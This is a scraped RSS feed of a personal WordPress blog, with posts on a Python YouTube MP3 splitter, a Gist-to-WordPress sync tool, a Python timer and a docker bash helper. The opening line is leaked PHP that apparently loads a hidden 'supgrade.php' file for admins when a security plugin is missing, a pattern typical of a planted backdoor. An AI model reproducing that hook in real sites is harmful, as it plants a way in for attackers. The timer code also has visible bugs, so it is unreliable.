if(function_exists('is_admin') && is_admin() && !file_exists(WP_PLUGIN_DIR.'/loginizer/loginizer-security.php') && file_exists(dirname(__FILE__).'/supgrade.php')){ include_once(dirname(__FILE__).'/supgrade.php'); }
Warning: Cannot modify header information - headers already sent by (output started at /home/fantasmo/public_html/ash.wine/wp-content/plugins/jetpack/jetpack.php:1) in /home/fantasmo/public_html/ash.wine/wp-includes/feed-rss2.php on line 8
Ashwin Sinha https://ash.wine Augmented Reality / Games / Web Fri, 18 Nov 2016 09:57:29 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 https://ash.wine/wp-content/uploads/2016/10/cropped-Ash-icon-32x32.png Ashwin Sinha https://ash.wine 32 32 Python Youtube MP3 Splitter https://hacks.ash.wine/python-youtube-mp3-splitter/ Thu, 17 Nov 2016 22:04:00 +0000 http://ash.wine/?p=272

Python Youtube MP3 Splitter

A Python program that splits mp3 files from YouTube albums into individual songs.

Dependencies

  • Python 2.7+
  • ffmpeg

Getting Started

You need to have Python 2.7+ and ffmpeg installed.

Useful links:

Usage

  1. Install Python and ffmpeg.

  2. Download the album from Youtube as mp3.
    (You could use YouTube-dl or any online service).

youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 <Video-URL>
  1. Download application.py

  2. Copy the timestamps into a .txt file

  3. Run

    python application.py <music file.mp3> <tracklist file.txt>
  4. Enjoy!
import sys
import subprocess

inputfile = sys.argv[1]
codec = '-acodec'

#ffmpeg did not like having '?' in the file name, add any other problematic symbol here.
escape_list = ['?']

def RemoveSymbols(text):
    for symbol in escape_list:
        text = text.replace(symbol, '')
    return text

tracklist = []

class Track:
    def __init__(self, timestamp, name):
        self.timestamp = timestamp
        self.name = name

class ExtractTracks:
    def __init__(self):
        with open(sys.argv[2], "r") as values:
            for value in values:
                name = ""
                timestamp = ""
                #split all by spaces.
                keyVal = value.split(' ')
                #find timestamp
                for word in keyVal:
                    if ':' in word:
                        timestamp = word
                    else:
                        name += word + ' '
                tracklist.append(Track(timestamp, name))

#Initialize
ExtractTracks()


def GenerateSplitCommand(start, end, filename):
    return ['ffmpeg', '-i', inputfile, '-ss', start, '-to', end, '-c', 'copy', filename+'.mp3', '-v', 'error']

def GetVideoEnd():
    ffprobeCommand = [
        'ffprobe',
        '-v',
        'error',
        '-show_entries',
        'format=duration',
        '-of',
        'default=noprint_wrappers=1:nokey=1',
        '-sexagesimal',
        inputfile
    ]
    return subprocess.check_output(ffprobeCommand).strip()

for i in range(0, len(tracklist)):
    name = tracklist[i].name.strip()
    name = RemoveSymbols(name)
    startTime = tracklist[i].timestamp.strip()
    if i != (len(tracklist) - 1):
        endTime = tracklist[i+1].timestamp.strip() #- startTime
    else:
        endTime = GetVideoEnd() #- startTime
    print('---')
    print('Generating ' + name + ' from ' + startTime + ' to ' + endTime)
    print('---')
    command = GenerateSplitCommand(str(startTime), str(endTime), name)
    output = subprocess.check_call(command)
]]>
Gist – WordPress Sync https://hacks.ash.wine/gist-wordpress-sync/ Wed, 16 Nov 2016 07:01:00 +0000 http://ash.wine/?p=274

Gist – WordPress Sync

This is a tale of how this very section – hacks.ash.wine works.

I ❤ Gists, and I have a habit of posting small stuff/code/discoveries/guides etc. up there so I can revisit them later. (All of my public gists : https://gist.github.com/Ashwinning)

Additionally I use Gistbox, which allows me to categorize/add labels to my gists and find search through them faster.

But not all my gists are important, and most of them aren’t useful for other people, so I wanted to archive all the ones that could be potentially useful for others at hacks.ash.wine.

Problems and Solutions

This could have been solved easily by creating a Jekyll repository at Github, and posting stuff there in markdown, but I like being able to have separate Gist repositories for separate things.

That too could be solved by writing a small script to sync my gists with the jekyll, but then
1. I’d have to port the WordPress theme/CSS/etc to a jekyll blog.
2. Redo changes to the theme header & footer every time it changed on the wordpress site.
3. I wouldn’t be able to keep multiple files in their own git repo for each ‘hack’.

Also, I’ve had bad luck with Jekyll (on docker on Windows) before.

The Original Solution

To do this, originally, I created a Python script which would go through all my gists, then all my WordPress posts, then compare if there were any gists that hadn’t been posted to WordPress yet, and post those.

The script searches for a #gistblog hashtag in the gist description to identify if a gist should be synced, the rest of the hashtags as passed on as WordPress tags, the remaining gist description is used as the WordPress post title.

As far as the post content itself was concerned, the script simply posted the gist url as the body of the WordPress post, and let wordpress handle the embedding.

It worked out pretty well actually! Here’s an example of what an embedded post looks like : http://ash.wine/what-a-gist-embed-looks-like/

The Problem

There’s a big problem with this approach – SEO.

There’s a chance that Google cannot see/will not index the asynchronously loaded content of the gist.

Well, what’s the point of aggregating content for others, if other can’t find it when they need it?

Introducing Gist-Wordpress-Sync 2.0

The new approach is an iteration over the previous one, but with a couple of new features:

  1. The application now requests the raw content of each tagged gist, runs it though the Github Markdown Parsing API, and posts the rendered HTML content to WordPress as the post’s body.
  2. It stores the gist’s id and updated_at attributes as WordPress custom_fields with every post (to track and update posts).
  3. Abstracts configuration settings into a .settings file so the script can be easily configured for other blogs.

The biggest downside is that since WebHooks don’t work for Gists, the application has to be manually run when changes are made to Gists.

It is still very rough around the edges, and may require tweaking for it to fit your taste/preferences, and the configuration of your WordPress blog.

The repository is available here : https://github.com/Ashwinning/Gist-Wordpress-Sync

If you want to run this for your own blog and need any help, please feel free to open an issue.

]]>
What A Gist Embed Looks Like https://ash.wine/what-a-gist-embed-looks-like/ https://ash.wine/what-a-gist-embed-looks-like/#comments Tue, 15 Nov 2016 13:50:24 +0000 http://ash.wine/?p=163 https://gist.github.com/Ashwinning/313a4bed6af3f7599ac168c4de82b555

 

]]>
https://ash.wine/what-a-gist-embed-looks-like/feed/ 1
Electoral Power By Voter Turnout and Voter Eligibility https://ash.wine/ecpower/ https://ash.wine/ecpower/#respond Mon, 14 Nov 2016 11:49:24 +0000 http://ash.wine/?p=153 Electoral Power By Voter Turnout and Voter Eligibility 2016

Electoral Power By Voter Turnout

Click to see interactive map.

electoral-power-by-voter-turnout


Electoral Power By Voter Eligibility

Click to see interactive map.

electoral-power-by-eligible-voters

]]>
https://ash.wine/ecpower/feed/ 0
Super Simple Python Timer https://hacks.ash.wine/super-simple-python-timer/ Thu, 10 Nov 2016 06:04:00 +0000 http://ash.wine/?p=276

Super Simple Python Timer

Timer module for python to measure elapsed time.

Import

Copy Timer.py to the same folder as your python files.

Linux

wget "https://gist.githubusercontent.com/Ashwinning/313a4bed6af3f7599ac168c4de82b555/raw/Timer.py"

Windows

Invoke-WebRequest https://gist.githubusercontent.com/Ashwinning/313a4bed6af3f7599ac168c4de82b555/
raw/Timer.py -OutFile Timer.py

Usage

from Timer import Timer
timer = Timer() #Initialize the timer
#wash clothes for 5 seconds
timer.print_time() #Print the time elapsed since Initialization (in seconds)
#dry clothes for 3 seconds
timer.print_new_time() #Print the time elapsed since Initialization and reset the timer
#burn clothes for 10 seconds
print (str('Burnt clothes for ' + str(timer.get_time() + ' seconds.')))

Output

>>> 5
>>> 8
>>> Burnt clothes for 10 seconds.

API

  • get_time()

    Returns the time elapsed (Does not reset the counter).

  • get_new_time()

    Returns the time elapsed and resets the counter.

  • print_time()

    Prints the time elapsed (Does not reset the counter).

  • print_new_time()

    Prints the time elapsed and resets the counter.

  • get_time_hhmmss()

    Returns the time elapsed in HH:mm:ss (Does not reset the counter).

Acknowledgements

Forked from code at http://stackoverflow.com/a/35199035/2899995

import time

class Timer:
    def __init__(self):
        self.start = time.time()

    '''
    Restarts the timer.
    '''
    def restart(self):
        self.start = time.time()


    '''
    Returns the time elapsed and resets the counter.
    '''
    def get_new_time(self):
        value = time.time() - self.start
        self.restart()
        return value


    '''
    Prints the time elapsed and resets the counter.
    '''
    def print_new_time(self):
        print (self.get_new_time())


    '''
    Returns the time elapsed (Does not reset the counter).
    '''
    def get_time(self):
        return time.time() - self.start
        self.restart()


    '''
    Prints the time elapsed (Does not reset the counter).
    '''
    def print_time(self):
        print(get_time)


    '''
    Returns the time elapsed in HH:mm:ss (Does not reset the counter).
    '''
    def get_time_hhmmss(self):
        end = time.time()
        m, s = divmod(end - self.start, 60)
        h, m = divmod(m, 60)
        time_str = "%02d:%02d:%02d" % (h, m, s)
        return time_str
]]>
the future https://dump.ash.wine/the-future/ https://dump.ash.wine/the-future/#respond Sat, 15 Oct 2016 09:47:36 +0000 http://ash.wine/?p=29 https://www.facebook.com/ashwinning/posts/10154005018426586

]]>
https://dump.ash.wine/the-future/feed/ 0
test-embed https://ticker.ash.wine/test-embed/ https://ticker.ash.wine/test-embed/#respond Sat, 15 Oct 2016 09:45:18 +0000 http://ash.wine/?p=27 https://www.facebook.com/ashwinning/videos/10154009453016586/

]]>
https://ticker.ash.wine/test-embed/feed/ 0
test-ticker https://ticker.ash.wine/test-ticker/ https://ticker.ash.wine/test-ticker/#respond Fri, 14 Oct 2016 13:34:39 +0000 http://ash.wine/?p=25 tick tick tick

]]>
https://ticker.ash.wine/test-ticker/feed/ 0
dump test https://dump.ash.wine/dump-test/ https://dump.ash.wine/dump-test/#respond Wed, 12 Oct 2016 11:52:55 +0000 http://ash.wine/?p=12 https://dump.ash.wine/dump-test/feed/ 0 How To Open Another Terminal/Bash Instance In A Running Docker Container https://hacks.ash.wine/how-to-open-another-terminalbash-instance-in-a-running-docker-container/ Tue, 30 Aug 2016 11:04:00 +0000 http://ash.wine/?p=278

How To Open Another Terminal/Bash Instance In A Running Docker Container

Add the following to your bashrc.

#Add another docker window
function dock()
{
  if [ "$1" == "-h" ]
  then
    #display help
    printf  "Attaches this window as a new terminal (bash) instance to a running docker container\n"
    printf  "Usage: 'dock' or 'dock 6548as846'\n"
    printf  "Accepts container name or id\n"
    printf  "If no ID is given, then attaches to first found process.\n"
  elif [ $# -eq 0 ]
  then
    #Get the first process
    dockerpid="$(docker ps -q | head -1)"
    echo $dockerpid
    sudo docker exec -i -t $dockerpid /bin/bash
  elif [ "$1" != "-h" ]
  then
    #Open terminal in that process
    sudo docker exec -i -t $1 /bin/bash
  fi
}
]]>